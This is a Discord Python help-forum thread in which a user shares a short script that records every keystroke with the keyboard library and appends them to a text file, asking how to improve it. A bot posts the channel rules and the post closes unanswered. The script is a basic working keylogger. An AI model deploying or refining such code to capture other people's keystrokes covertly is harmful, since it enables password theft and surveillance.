#๐Ÿ”’ code optimisation

6 messages ยท Page 1 of 1 (latest)

honest heath
#

i wrote some code to collect all keys pressed and save them in a .txt
anything i should optimise/change?

import time, keyboard, os

if not os.path.exists("keys.txt"):
    with open("keys.txt", "w") as tfile:
        pass

def save_keys():
    with open("keys.txt", "a") as file:
        for i in events:
            file.write(i)

while True:
    keyboard.start_recording()
    time.sleep(5)
    events = [str(x)[14:-6] for x in keyboard.stop_recording() if str(x)[-2]=="n"]
    save_keys()
brisk jewelBOT
#

@honest heath

Python help channel opened

Remember to:

  • Ask your Python question, not if you can ask or if there's an expert who can help.
  • Show a code sample as text (rather than a screenshot) and the error message, if you've got one.
  • Explain what you expect to happen and what actually happens.

:warning: Do not pip install anything that isn't related to your question, especially if asked to over DMs.

flint hazel
flint hazel
brisk jewelBOT
#
Python help channel closed for inactivity

This help channel has been closed. Feel free to create a new post in #1035199133436354600. To maximize your chances of getting a response, check out this guide on asking good questions.